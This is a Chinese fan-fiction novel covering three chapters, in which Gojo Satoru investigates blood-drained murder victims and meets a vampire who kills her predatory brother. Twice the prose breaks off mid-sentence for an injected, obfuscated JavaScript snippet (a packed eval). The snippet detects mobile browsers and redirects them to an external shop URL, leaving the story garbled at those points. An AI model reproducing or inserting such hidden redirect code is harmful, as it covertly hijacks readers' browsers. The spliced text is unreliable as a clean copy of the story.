《始祖是特级》 1. 十八位受害者 2015年春,早樱初初盛开在枝头,如粉色的薄雾缭绕在东京郊外的山林。 随着火红的日轮从山头露出脸,东京郊区的深山里,红色的鸟居下缓缓迈步走上一道修长的身影,黑衣白发,哼着无名的调子,慢悠悠地拾级而上,随即悄无声息地融入了林间的光影之中。 “叩叩。” 敷衍的两下敲门声刚落入耳畔,校长室的门便被不由分说地被推开了。 东京都立咒术高等专门学校,校长室内,东京咒高的校长夜蛾正道正埋头与手中的羊毛毡较劲,对某位最强咒术师一贯“不拘小节”的行为早已习以为常,睁一只眼闭一只眼到连眉头都不曾抬一下。 一只骨节分明的大手伸过来,精准地捞走了办公桌上那份醒目的红色文件夹。“唰啦”一声翻开,紧接着便响起拖长了调的、活力过剩的抱怨: “诶——不是吧?这牙印,说是被变异的巨型蚊子叮的都比这有可信度啊!烂橘子们是不是最近童话看多了,觉得世上真有吸血鬼这回事?” “悟。”夜蛾终于停下手中的戳刺,抬起了头,镜片后的目光带着警告。 五条悟咧嘴,扯出一个毫无反省之意的笑容,顺势将自己扔进一旁的沙发,长腿一翘,姿态慵懒得像只巡视领地的大只白猫。“夜蛾校长,让我这个‘最强’去处理这种都市怪谈,真的不是大材小用吗?我的时薪可是很贵的哦~” 夜蛾正道手上动作停了下来,抬手推了下鼻梁上的眼镜,语气严肃:“这是总监部接到的从东京警视厅刑事部搜查一课转过来的大案,十七名受害者,颈部动脉被锐物精准刺穿,全身血液离奇消失,现场无咒力残秽,也无普通生物痕迹。受害者均为容貌出众的年轻女性,死前皆盛装打扮,最后出现在偏远地带。两处伤口同时造成,问题是死者身上并没有任何挣扎的痕迹。根据伤口之间的间距,如果不是蝙蝠变异了长成了和人一样大的体积;要不然就是东京出现了未知的吸血生物。昨天晚上刚收到的消息,在北部的一个温泉庄园里已经出现了第18位受害者。” “哇哦,专挑美女下手的采花贼吸血鬼?”五条悟吹了个口哨,语气轻佻,但被眼罩遮挡的上半张脸下,思绪已然开始高速运转。“听起来像是某种拥有审美偏好的非人生物呢……专挑长相优越的年轻女性下手,不管对方是不是单身,被发现的时候都是盛装啊……偷情吗?” 夜蛾正道抬手按了下太阳穴,“悟,不要开玩笑。” “啪!”一声,将手中文件夹丢到茶几上,五条悟长腿一翘,双手一摊,“难道不像吗?传说中的吸血鬼诶!” 他话音一转,手指轻轻点着文件夹,“既然没有咒力,干嘛找我们?让警察去买点大蒜和银十字架不是更对症?” “问题在于,普通手段完全无效,影响却在扩大。上层希望咒术界能以‘民间能人’的身份介入调查,搞清楚源头并秘密解决。”夜蛾顿了顿,又拿起铁针继续戳他的小动物,余光瞥了一眼五条悟以后,意有所指地补充,“这次是警视厅直接求助,流程绕开了总监部的部分常规命令。如果你以个人名义接下,报酬按一级任务算,并且……可以相应减少你其他的一些‘例行工作’。” “嗯?”五条悟忽然来了兴致,他用一根手指挑起眼罩边缘,苍蓝色的眼眸如同冰封的湖泊,折射出玩味而锐利的光,直直看向夜蛾。“今天太阳是从西边出来了?我们正直的夜蛾校长,居然学会在烂橘子的眼皮底下‘偷梁换柱’了?” 夜蛾嘴角抽动了一下,强忍住给他一拳的冲动,专注着手上的羊毛毡:“少废话。任务详情需要你去警视厅本部对接。接不接?” “接!当然接!”五条悟腾地站起身,笑容灿烂得晃眼,“这么有趣又‘自由’的差事,怎么能错过!说不定真能抓到个童话生物呢~” 话音未落,屋子里就剩下一阵微风和敞开的大门。 夜蛾正道:“……” 冷静,都习惯了不是吗。 —— 正值春假,学校里冷冷清清没有半个人影,虽然按照咒术界咒术师的人口数量,就算不放假,整个学校依旧冷清就是了。 回到宿舍洗了个澡换了身一模一样的衣服,五条悟两个手指拎着红色的文件夹,潇潇洒洒地又出了学校,上了山脚处等待着的一辆黑色加长林肯。 枝头一只黑色的乌鸦瞪着猩红的眼珠子,看着车辆离开郊区,踏上大路,最后汇入城区的车流里。 乌鸦跟在车辆后面,最后在大桥上转开了视线,飞向不远处一座公园,顶着黑漆漆的身子混进了一群鸽子里抢食被丢在地上的面包屑。 羽毛漆黑的乌鸦混迹在鸽群中,猩红的眼珠不动声色地转动,掠过喂食的情侣,停在长椅边。椅上,一对样貌出色的男女面孔优越,互相低声说笑着,身后樱花树上,只有樱花沉甸甸地坠下,被青年男性攀折下来,略作修理后簪在了姑娘发髻上,画面美好得如同电影海报。 女子霎时面比花娇,两靥在男子轻抚下泛起绯红。 然而,在乌鸦的注视下,男子低头靠近女伴颈侧的瞬间,那抹温和笑意背后,唇角隐约闪过一抹苍白的、捕食者的锐光。等到地上面包屑被吃得差不多了,男子起身拉着女子离开了公园,两个人消失在了樱花林中。 乌鸦悄无声息地振翅,没入渐浓的暮色。 夜幕降落又升起,日头在天际来回亮相。 几个日夜轮转,当霓虹灯再次点亮都市的夜晚。同一座公园,已然盛放的白-粉樱花在月色下流淌着清辉。 一头被扎在头顶的白发从花枝下一晃而过,雪白的衬衫和黑色的长裤在树下一站,几乎与月光下的樱花林融为一体。身后长发随风扬起,连呼吸声都放浅。 她微微仰头,猩红的眼眸扫过枝头,那目光穿透花瓣与枝叶,仿佛在丈量空间的经纬,评估此地作为狩猎场的优劣,而非欣赏景致。苍白得近乎透明的手指拂过微凉的木质椅背,动作如同触摸一件年代久远的标本,不带丝毫温情,只有一种近乎残酷的客观。木椅的暗色衬托着手型的纤细苍白,那一抹苍白透着孱弱的青,手背的筋骨随着动作崩起得明显,透着一股易碎而孱弱的美感。 夜风拂过,落樱缤纷。再定睛时,树下已空无一人,仿佛那抹苍白的影子只是月光的一场幻觉,或是古老的存在无意间投下的一瞥。 —— 沿河上游,东京郊区一座被高耸的树木和杂乱生长的荆棘灌木遮掩的地方,一座被遗忘的欧式风格的别墅。 “咚!”一声,重物落地的闷响在空旷的房间里回荡。 华美礼裙的少女双目空洞地倒在地毯厚重的灰尘中,一身干干净净的长裙和肌肤沾上了厚重的灰尘,地上的人指尖动弹了一下后便再不动了,脖颈上两个细小的孔洞已然干涸,面色逐渐灰败,身躯也正在迅速地走向干瘪——所有的生命与鲜活,都已随着血液一同流逝。她的死亡,如同秋日一片落叶坠地,未能在这个空间激起一丝属于“生命逝去”的哀恸涟漪。 皮鞋走动的脚步声在房间里响起,不紧不慢,规律地如同钟摆。与此同时——“嘭!”的一声,别墅楼下的大门被人踹出了巨响。 大门连同部分门框,被一股蛮横到不讲理的力量直接轰飞!月光如瀑,倾泻而入,照亮了门口那道高挑纤瘦的身影。 披着皎洁的月色从门外走进来,落定在大厅中央后,她缓缓抬头,白色的长发无风自动,露出一双在黑暗中燃烧着冰冷烈焰的猩红眼眸,与二楼栏杆边俯视下来的、另一双同样猩红却充满炽热欲望的眼睛,隔空相撞。 两双同样猩红的眼眸在黑暗中毫无阻滞地对视着,二楼,身着松垮青绿色衬衫的青年舔去唇边残留的殷红,低低地笑了起来,笑声里混杂着喘息与兴奋,眼神炽热地盯着大厅的人影,笑着道: “追得真紧啊……我亲爱的家主姐姐。知道您一刻都不愿放过我,我真是……受宠若惊呢。” “绯月兰。” 冰冷的女声念出这个名字,如同法官宣读判决,不带憎恶,只有程序性的冰冷。话音刚落,青年顿时瞳孔放大,霎时间足尖点地,一下子往后跳出去一大步,进了房间里。就在冰冷的女声念出这个名字的刹那,绯月兰原本站立的位置,已被一柄造型狰狞、弧光如月的巨大镰刀悍然洞穿! 木屑纷飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485849|202003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,一只苍白纤细的手握上镰刀长柄,如折花摘叶一般轻松将看着就沉重的镰刀拔了出来,动作流畅精准,是亿万次重复后刻入本能的优雅杀戮。 只有木地板颤巍巍地发出了“吱呀”的抗拒声。 手持镰刀的白发女子穿着雪白的衬衣和黑色的长裤踏入月光勉强照亮的走廊,眉心微蹙,仅仅是吐出那个名字,都让她流露出明显的不耐与厌弃。 “我不明白,”绯月兰按了按手腕,再次侧身跃开,躲过紧随而至的第二击,声音里充满了扭曲的困惑与不甘,“大家都是这么过来的,姐姐为什么就不能接受呢?” 被他喊做姐姐的女性没有二话,而是一瞬间再次闪身到屋子里,手中镰刀一挥,刀刃擦着绯月兰的脖颈划出了破空声。 “姐姐,我爱你啊。” 绯月兰一手拂过被擦破皮的脖子,指腹擦过的地方渐渐愈合,连油皮都完好无损。 回答他的是撕裂空气的刀锋。绯月畏的身影快如鬼魅,镰刀化作道道致命银弧,招招指向他的心脏与脖颈。 绯月畏走入月光下,余光瞥见地上已经死亡的少女身形,脸上露出一丝疲惫与厌恶,抬眼看向绯月兰,手中镰刀招招追着绯月兰的心脏和脖子时顺带解答了下对方的问题: “爱?”绯月畏在攻击的间隙冷冷开口,声音里带着一丝疲惫,更多的是冰冷刺骨的嘲讽,“你所谓的爱,就是撬开父母安息的冰棺,吸食他们的遗血?就是吞噬同族的子侄,用他们的生命铺就你的野心之路?绯月兰,你让我恶心。” “血脉结合,延续力量,这有什么错?我是最合适的人选!我已经站在了LEVEL B的顶点!离纯血种一步之遥。为什么你就是不肯接受?!我是你唯一的弟弟,是你最深的羁绊!” 绯月兰不解,这种不解从绯月畏拒绝家族的安排拒绝他的侍寝时就开始了,一直到现在,离开了绯月家后追杀了他整整半年的绯月畏对他的杀意没有丝毫减少。 甚至可以说是与日俱增。 “羁绊?”绯月畏终于开口,声音里听不出情绪,只有一种陈述事实的平淡,而这平淡比任何嘲讽都更刺骨,“时间会磨损一切所谓羁绊。血缘,不过是一段稍显持久的偶然排列。”镰刀在她手中化作银色风暴,“你的错误,不在于欲望,而在于愚蠢——妄图以蝼蚁的思维,揣度并僭越山峰的存在。” “我只是想变得更强!强到足以匹配你!”绯月兰狼狈地躲闪,衬衫被割裂,身上添了数道伤口,眼中的偏执却愈烧愈烈,“这个世界弱肉强食!我需要力量!” “弱肉强食?”绯月畏猩红的眼眸里掠过一丝极淡的、近乎厌倦的神色,“那是你们挣扎求存的游戏规则。而我,”她瞬身而至,镰刀锋刃贴着绯月兰的喉结划过,“是制定规则,并偶尔下场维护‘整洁’的那一个。” “你需要的不是力量,是清醒。”绯月畏步步紧逼,猩红的眼眸在阴影中亮得骇人,“如果你认为我的血脉要靠近亲结合的后裔来将之遗传保留下去的话,说明这个血脉本身就是有问题的。我错过了对你的教育,让你被滥养成了现在的样子,是我的错,我会纠正我的错误,并让你为践踏的底线付出代价。” “姐姐!”绯月兰在屋子里腾挪辗转,有些狼狈地捂了下领口,随后自暴自弃地撒开手,矮身躲开横来的刀刃,“这不是我的错!我需要疗伤,可我没有多余的血液锭剂了!我不知道这个地方的人出了什么问题,他们的血太淡了,质量不够我只好用数量来凑!” “家主大人!”绯月兰瞅准一个空隙,翻身跃上阳台栏杆,半蹲着,捂住血流不止的脖颈,另一只沾了沾手背上的血送进嘴里,眼中闪过疯狂,“既然这里的规则你不喜欢……那我们换一套活法如何?比如,强者为尊?” “无聊。”绯月畏评价道,甚至懒得多言。 “绯月兰。” 三个字,言灵般的枷锁落下。绯月兰身体骤然一僵,脸上血色尽褪,源自生命本源阶层的恐怖压制,让他连灵魂都在战栗。那是来自更高阶血脉的绝对压制带来的恐惧。 这才是真正的“规则”,血脉深处铭刻的、不容违逆的绝对命令。 2. 玩家五条悟申请入队 绯月畏提着滴血的镰刀,走向月光下的阳台,但就在她即将完全迈出黑暗的瞬间,脚步几不可查地一顿。 ——有什么东西,正在高速接近。不是声音,不是气味,而是一种存在感本身对周遭环境造成的、难以言喻的“压迫”与“吸引”。强大,且未知。方向……难以精准定位,仿佛无处不在。 脸上没有任何表情变化,唯有眼底深处猩红的光芒几不可察地流转了一瞬,如同精密仪器快速处理着突发变量。追击,还是暂避?绯月兰的血气在眼眸中拖出清晰的轨迹,但此刻暴露在可能存在的观察者眼下,是否明智? 这不足半秒的迟滞,源于权衡,而非虚弱。对绯月兰而言,却是绝境中赌上一切的生机。他闷哼一声,不惜震伤内腑,强行冲破那令人绝望的血脉压制,嘴角溢出鲜血,却毫不犹豫地向后一仰,坠入楼下茂密的灌木丛,浓烈的血腥味瞬间随风远遁。 绯月畏追至栏边,只看到黑暗中摇曳的枝叶。她没有立刻追击,而是站在月光与阴影的交界处,白皙的侧脸一半沐着清辉,一半隐于黑暗,静默得如同雕塑。那骤然接近的“存在感”并未直接降临此地,但残留的“注视”感,如同无形的蛛丝,轻轻拂过她的感知边缘。 她静立在阳台上,默默计算最优追击路径与自身消耗的平衡点。 片刻后,她闭了闭眼,压下那种并非源于□□、而是源于漫长生命本身的、深沉的疲惫与虚无感。甩净镰刀上的血珠,手腕轻转,那巨大的凶器竟奇异地收缩变形,化作一根巴掌长的银色短棍,被她收起。 随即绯月畏侧头看了一眼身后洞开的房门,余光扫过房间内少女干枯的尸体,眼神如同扫过一件破损的家具。歉意?不,那太奢侈了。只是对“无序”被增添的些微不悦。她的身影渐渐淡去,如同从未存在过。 绯月畏的身形彻底消散之后,一只锃亮的黑色皮鞋,几乎是掐着点踩上了别墅门口碎裂的木屑。 黑衣白发的五条悟双手插兜,慢悠悠地晃了进来,嘴里哼着不成调的歌。在楼下停留不到三秒,便落在了二楼的栏杆上,双脚滞空。他俯身时“看”了一眼二楼走廊上那个巴掌长的竖形裂口。 随后长腿一晃,走进房门大开的房间里。 侧头,转身,“哇哦……”他吹了个口哨,身形一闪,出现在床边。 他半蹲在少女旁,用两根手指轻轻拨开她颈边的头发,露出那两个清晰的孔洞。 “抽得真干净啊……”他拉下眼罩,六眼全开,仔细审视,嘴角不受控制地扬起,声音里洋溢着浓浓的不可思议,“连一点细胞层面的液体残留都没有,这已经不是‘吸血’,是‘抽空’了呢。而且……” 血液全部丧失后,女子整个人呈现青灰的皮包骨状态,原本应该长得不差,甚至可以说是很可爱的一张鹅蛋脸,已经逐渐趴下去变得皱巴巴又软趴趴。少女体内那微乎其微、未曾觉醒的咒力痕迹,此刻也已彻底枯竭。 “第19个……还是个潜在的咒术师苗子。”五条悟站起身,摩挲着下巴,脸上浮现出孩子发现新玩具般的兴味笑容,摸出裤兜里的手机,转身扫过一片狼藉的屋子,目标明确地走向阳台,等待电话接通的时候还低声呢喃了一句:“目标升级了?从普通人到有咒力潜质的人……这是在挑食呢,还是在……补货?” 咒术师血液里的咒力含量,和先前死去的18个普通人相比,那可不是一个量级的……五条悟大概找到了对方袭击这些女性的目的——为了获得某种只有从血液中才能提取出来的能量,而且从行动轨迹来看,对方只能是一个人。 之前不明白,对方既然能洗脑一个完全不认识的陌生女性盛装和他到各种偏僻到有问题地方见面,为什么收尾不做的好看一点,以免被发现?现在找到答案了——五条悟低头看向栏杆上形状各异、码数大相径庭且连方向都相反的两个半截脚印。房间里有两股同源又相斥的‘非人’味儿,一个在逃命,一个在‘修剪’……嘿,这是撞上了内部清理现场? 在电话对面传来夜蛾正道的声音后五条悟笑着咧出了一口大白牙。 “他在被追杀!” 五条悟斩钉截铁地下了结论。 “谁在被追杀?”夜蛾正道问。 五条悟目光投向绯月兰逃离的黑暗森林,鼻尖微微耸动。语气轻松得像在讨论晚餐菜单:“夜蛾校长,好消息!疑似吸血鬼先生正在被他的‘同胞’清理门户呢。更好的消息是——他可能很快就要对咒术师下手了,毕竟‘营养’更足嘛。” “什么?!”这句话透露出的严重性,夜蛾正道听出来了。 电话那头传来夜蛾严肃的询问。五条悟咧嘴一笑,露出一口白牙,在月光下闪闪发亮: “不用担心,这不是还有我吗?论颜值和‘营养’,还有比我更合适的标杆吗?我这就去给这场清理行动,加点意想不到的‘变数’!” 听起来不是在讲一件可能会付出生命的恐怖事件,那股跃跃欲试都从手机里顺着网线传达到夜蛾正道面前了。头疼的同时也不免发出一声期待:“如果是这样,那就再好不过。” “哈?!”五条悟不可置信地挑了下眉。 电话挂断以后,对着天上亮堂的辉夜姬,五条悟长腿一抬,直接跨过了半人高的栏杆,五条悟伸了个懒腰,目光投向森林深处,那里残留的空间波动与血腥气,像路标一样清晰。 “捉迷藏游戏,增加新玩家咯——” —— 废弃的水泥烂尾楼,月光透过空洞的窗框,在地上切割出明暗交错的光斑,如同祭坛上冰冷的几何图形。 “嘭!轰——” 一道身影狼狈地撞穿墙体,狠狠砸在承重柱上,又滑落在地,激起漫天尘土。 绯月兰咳出大口大口的鲜血,里面混杂着内脏的碎片。他背靠着冰冷的柱子,看着那个白发白衣的身影,一步步,从容不迫地从楼梯尽头走来。 绯月畏从楼梯尽头走来,步履平稳。就在她踏上最后一阶,即将完全步入这一层空间的刹那,她的脚步,再次出现了那细微到几乎无法捕捉的停顿。 ——又来了。而且,更近了。这次的感觉更加清晰。 她被“追上”了。 并非恶意,也非善意,而是一种纯粹到近乎无理的“好奇”与“审视”,带着磅礴的能量底色,堂而皇之地笼罩了这片区域。 她的指尖,在腰间那根银白短棍上,几不可察地停留了一瞬。取出Artemis,瞬间结束战斗,然后直面那个未知的存在?还是…… 目光落在瘫软如泥、眼中只剩下绝望与最后疯狂余烬的绯月兰身上。这个叛逆的“弟弟”早已是强弩之末,榨干他最后的价值,并不需要动用那件标志性的武器。而那个正在靠近的“观察者”,目的不明,实力难测,在这个压制着她力量的世界里…… 电光石火间,利弊已然清晰。暴露更多底牌,并非明智之举。将真正的手段隐于幕后,留作应对变数的后手,才是漫长生命教会她的、近乎本能的谨慎。 指尖离开了短棍,自然垂落。她选择了最简洁、也最不露锋芒的方式,来完成这场早已注定的收割。 “家主大人……姐姐……”他喘着粗气,声音嘶哑,脸上却挤出一个扭曲的笑,抬手按了一把冒着血的胸口,靠在柱子上缓了缓,“临死前,能让我死个明白吗?” 绯月畏停在离他几步之遥的地方。月光照亮了她的侧脸,肌肤苍白如瓷,唇色淡极,唯有那双眼睛,猩红如血,燃烧着冰冷的火焰。与绯月兰的狼狈不堪相比,她看起来依旧整洁,甚至有种惊心动魄的苍白美感,但若仔细观察,便能发现她呼吸的节奏比平时略快一些,指尖也在微微发颤——连续追击、动用能力、对抗此方世界的压制,她的消耗远比看上去巨大。 “为什么?不管是作为家主还是嫡长女,传承家族血脉不是你的职责吗?为什么要拒绝我?我或许不是唯一的,但却是绯月家最好的人选,我已经成为了最强的LEVEL B,已经站到了纯血种以下最高的顶点,你到底有什么不满意的地方要这么拒绝我?我不相信你有更合适的夫侍人选!只是自荐枕席的事情……迟早一定会是我不是吗?你至于非杀我不可吗?我想不明白……” 绯月畏停在离他几步之遥的地方。这个距离足够她完成收割,也足够她隔绝任何可能的情感溅染。她微微偏头,仿佛在聆听一个无关紧要的问题。 “明白?”她的声音很轻,像风吹过古老墓穴的缝隙,“你渴望的‘明白’,在我经历的时光里,已重复上演过太多次。剧本庸俗,演员蹩脚。”她的目光落在他身下那滩正在蒸发的血液上,如同化学家在观察试剂的反应,“你的价值,仅在于此。可惜,品质依旧低劣。” 随着空气中越发浓郁的血气,两个人的眼睛不可避免地开始异化,发出了嗜血的赤色光芒,在黑暗中熠熠生辉。 绯月畏歪了下头,语气里是货真价实的疑惑,“这半年,你流掉的血,还没让你那被欲望糊住的脑子清醒一点吗?”绯月畏的声音很轻,却带着千钧之力。 绯月兰顺着她的目光,看向自己身下汇成一小滩的、正在奇异蒸发的血液。浓郁的血腥味中,夹杂着一丝极淡的、来自楼下墙根野樱的花香。 血?力量?掠夺? 绯月畏走上前,在绯月兰面前半蹲下来,靠近之后带来的,是极具压迫感的高等级血族血脉气息的压制。一个荒谬的念头闪电般击中了绯月兰。他难以置信地瞪大眼睛,感受着随着对方靠近,那几乎要让他骨骼咯咯作响的、源于生命本能的恐怖威压。 “你……您、难道是……纯血种的大人?!”可绯月家怎么可能有纯血种?! 绯月畏盯着绯月兰按在脖子上的手,指缝间有血液汩汩流出。 不对,绯月兰突然想起来,他已经是LEVEL B的最高级别了,能让他感到压力的,只能是A级的纯血种,可是那七个家族子嗣不丰,家族排外得很,不可能任由自己的子嗣流落在外。第八个LEVEL A?! 绯月畏缓缓蹲下身,与瘫软的绯月兰平视。极近的距离,让那血脉的压制感几乎凝成实质。两张面孔挨近以后,可以看到绯月畏的气色比之奄奄一息的绯月兰也好不到哪里去,“朝夕相处十六年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485850|202003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,兰,”她轻轻开口,气息喷洒在绯月兰耳边,语气冰冷,“你可曾……在我身上,闻到过属于‘绯月家’的味道?” 绯月兰瞳孔骤缩,脸上血色尽失,震惊、恍然、绝望、不甘……种种情绪瞬间淹没了他的。 是了,只有凌驾于LEVEL B之上的纯血种(LEVEL A),甚至是……更古老、更禁忌的存在,才能拥有如此绝对的血脉压制力!他所以为的姐姐,他妄图占有的对象,根本是立于他无法想象的血统云端! 绯月畏情况也不太好,她也需要血液来补充力量,但是她和绯月兰选择不同,绯月兰骗取无辜人类女孩和那些拥有特殊能力的人类来吸血,但是绯月畏从一开始的目标就是绯月兰,比起人类,已经从LEVEL C自主返祖到LEVEL B等级的绯月兰,才是她最好地补充力量的选择。 在抓到绯月兰之前,她另缺勿滥。 而现在——是她享受战利品的时候了! 一双冰凉的胳膊从腋下穿过,捂在脖颈上的手被强行取开,浅浅的樱花香顺着嗅闻的动作传到鼻子里,绯月兰以已经被禁锢在怀里的动作艰难地抬了抬手。 “您到底……是谁?”他用尽最后力气问出这句话。 绯月兰想过了玖兰、绯樱、缥木……血族七个纯血家族,没有一个能和绯月畏能对得上的,越发模糊的意识只剩下疑惑不解。 绯月畏没有回答。饥饿感与虚弱感在体内灼烧,绯月兰的血液对她而言是目前最好的补给。她冰凉的指尖抚上他脖颈的伤口。 在獠牙刺入动脉的瞬间,绯月兰浑身剧颤,最后一丝意识明悟——他挑衅了绝对的血统与力量阶梯,这追杀,是他自找的湮灭。 血液的力量涌入,稍稍抵消了世界规则带来的滞涩感和灵魂深处的空洞倦怠。当绯月兰头颅无力垂下的那一瞬间,“噗!”一声,他看见一只苍白纤长的手如利刃般从他胸口穿透出来,从指尖到手腕,裹上了一片猩红,顺着轮廓滴落到腰间的衣物褶皱上。 没有华丽的场面,没有多余的情绪。夏夜的暖风顺着楼道吹进大楼里,掀起厚重的灰尘的同时,那只穿透胸膛的手掌上,猩红的液体迅速化为纯粹的能量光点消散。顷刻间,绯月兰的身体,连同他所有的欲望、执念与短暂一生,如同被时光之手瞬间拂过的沙堡,崩塌,化作一撮苍白干燥的尘埃,与这烂尾楼里原本就存在的灰尘再无分别。 拍了拍手上的灰,绯月畏站起身来,取出一方手帕仔细擦去唇边和下颚的血迹。随着血液的吸收,她脸上那病态的苍白褪去少许,浮现出些许生气。咽下口中最后的血液的同时,苍白的脸颊逐渐泛起了健康的红润色泽。 她是对的。 与其以数量去积累质量,不如从一开始就找质量最好的。一个高级血族,抵得过无数嘈杂的“白噪音”。清理垃圾,补充损耗,一举两得。 吃一个恢复和吃一群恢复,差别还是很大的,比如…… 绯月畏抬起头,只见斜上方那没有栏杆的水泥楼梯边缘处,正大喇喇地坐了一个人。 黑衣,白发,脸上蒙着古怪的眼罩。他单手支颐,歪着头,正“看”着她。姿态堂皇到仿佛他便是此地的主人。 尽管看不到眼神,但绯月畏能清晰地感觉到,一种饶有兴味的、极具穿透力的“注视”落在了自己身上,仿佛能将她里外看个通透。 猎人吗? 绯月畏想道,对于绯月兰的行为会招来类似猎人协会一样的机构的注意她并不意外,只是对于现在出现在这里的这个人的实力,她多少还是有些意外的。 好香的血气。 透过皮肤传了出来。 强大,危险,而且……他的血液里,传来一种难以言喻的、极度诱人的“香气”,比她吸食过的任何存在都要浓郁纯粹!刚刚压下的饥渴感,竟隐隐有复苏的迹象。绯月畏心头一凛,立刻用更强的意志力将其压制下去。 要不是刚吸食过绯月兰,绯月畏还真不敢保证,在突然遇到这么香的血食时,虚弱状态的她会不会冒险一把去尝试咬一口对方。 五条悟隔着一层空气墙,蹲坐在没有栏杆的水泥楼梯上,晃晃悬空的腿,似乎对地上那堆人形尘埃毫不意外。眼罩被他掀起一角,苍蓝的眼眸注视着站在黑暗中的女子,视线在对方隐约从唇角露出来的獠牙上多看了那么一眼、两眼、三眼…… 直到绯月畏慢悠悠地踏着沙土走到月光下,白发白衣仿佛发着光时五条悟才把视线从对方的嘴唇上转开。然后,他用一种发现了稀有物种、准备开始愉快访谈般的语气,轻松地打破了沉默: “哟。晚上好呀。” 首先可以肯定,对方不是咒灵。当然也不是咒术师。身上没有任何咒力存在,有点天与咒缚的感觉,但是不多。然而从那对伸缩自如的獠牙来看,对方甚至很有可能不是个人。 五条悟顿了顿,抱着求知的心态,嘴角勾起一个灿烂的、足以让月亮失色的笑容,语气欢快,礼貌询问: “这位看起来超——厉害的小姐,我很好奇一件事……” “请问,你是个什么东西?” 3. 无下限遇到克星 对于五条悟那堪称冒犯的问题,绯月畏的思维罕见地停滞了一瞬,头一次对自己的理解能力产生了问题。 并非恐惧或者愤怒,而是一种近乎困惑的……疏离感。 从被卷进时空漩涡来到这里,她受到了此方世界规则的压制导致伤得有些重,规则的排斥像是沉重的枷锁挂在四肢百骸,让她最初好几个月的时间都只能蛰伏于人迹罕至的深山老林里,勉强修复这穿梭时被风暴留下的创伤。甫一出山,便直接顺着对下位血族的感应去追绯月兰去了,对于这个陌生世界的运行法则、力量体系、乃至社交礼仪,确实近乎一无所知的状态。 然后,即便是以她对人类世界有限的认知来看,‘你是个什么东西’这种问法——在绝大多数语境下,都等同于宣战或是极致的蔑视。 眼前这个男人气息强大而凝练,行动间自信且傲慢,看起来可不像是泥地里生长的野草,难道不知道这句话问出来本身就是挑衅的一种吗?还是说—— 绯月畏眯了下眼,现在又两种可能:要么,这种问法是这个世界特有的、粗鲁直接的交流方式;要么,他就是故意的—— 一种带着居高临下的好奇心的、强者式的挑衅。 “不说话?”五条悟从楼梯边缘轻盈跃下,落脚无声,他拉下眼罩一角,那双被誉为“六眼”的苍蓝眼眸完全展露,里面盛满了毫不掩饰的探究兴味,“让我猜猜……跟地上这堆灰原来是一路的?但你在清理门户?哇,真是严格的家教。” 绯月畏无言以对,这混账明明什么都听见了! 五条悟语气轻快,脚步却开始以绯月畏为圆心,不紧不慢地踱步,无形的压迫感随着他的移动悄然弥漫。“不过,用这么‘彻底’的方式清理,还专挑有咒力潜质的人下手……这就不太礼貌了哦。这个世界,可是有主人的。” “你吗?”绯月畏终于开口,声音冷冽平直,听不出情绪。她的目光随着五条悟的移动微不可察地调整着角度,身体姿态依旧松弛,却已进入一种随时可以爆发的静止。“我所见,只有弱肉强食的荒原。何来主人?” 她的话语并非挑衅,而是陈述一种基于她漫长见闻的认知。同时,她也捕捉到了关键词——【咒力潜质】。 这个世界的力量体系名称么? “哎呀,真是霸道的发言。”五条悟停下脚步,笑容不变,垂下的指尖却已有细小的苍蓝色咒力光芒如电弧般跳跃,“不过,荒原也有荒原的规矩。乱扔垃圾,尤其是把‘有主’的垃圾变成灰,可是会给伟大的环卫工大人添麻烦的。” “看来你觉得你很强。”绯月畏平铺直述的语气听不出一丝波澜,只有她自己知道,她的本意是‘有这么一张嘴的人,实力如果不够强大,这个有着奇奇怪怪的东西在游荡的世界里,应该活不到今天’。 没有明说的话,对方也确实没有领会,甚至认为这是一种表示“有眼光”的赞赏,毫不客气地接受了。 “当然!我可是最强!” 五条悟下巴高高扬起,昏暗的大楼内,那一口白牙亮得突兀。 绯月畏眨了下眼。纯粹的傲慢,基于实力的、毫不掩饰的自我认知。这种特质,她并不讨厌,甚至,在她漫长到几乎凝固的岁月里,十二个同类之中,对持有这般心性的,反而认为更为“纯粹”,很合他们这群长生种的胃口。 ——至少大多数时候交流起来,可以省却许多无谓的虚伪周旋。 两个人之间的距离逐渐缩短,导致绯月畏的视线不受控制地略微抬高。绯月畏目前身高定格在一米七九,不出意外的话也没多少长高的空间了。但是眼前这个人类青年,目测身高超过一米九,那张半遮半掩的脸甚至还带着没褪干净的少年气,令人怀疑他是不是还在“生长期”? 这种物理层面的“仰视”,让她古井无波的心绪泛起一丝极淡的不悦——并非针对身高本身,而是这种被动的不对等姿态。 强者之间拥有独特的气场。 距离拉近,强者之间独有的“场”开始相互碰撞、试探。无需出手,某种无形的张力已然弥漫在破败的空气中。 五条悟忽然歪了歪头,一只手仍随意地插在裤兜里,另一只手却再次勾起了黑色的眼罩。霎时间,那双苍蓝眼眸如同冻结的苍穹,带着洞悉万象的锐利,直直撞入绯月畏的视线。 深红色的眼瞳像是浸过血,虹膜上赤色的发射状纹路如同碎裂的红宝石,内里有星星点点的碎光在流淌,营造出了一种眼眸自身在发光的错觉。浓密纤长的睫毛像羽制的流苏,睫毛根部泛着暗沉的绣红色。在一张雪白的高鼻深目面孔上,精致之余,更透出一种剥离了人味的、近乎完美的非人质感。 “看够了吗?”凉薄的声音在极近的距离响起,没有温度,只有陈述。 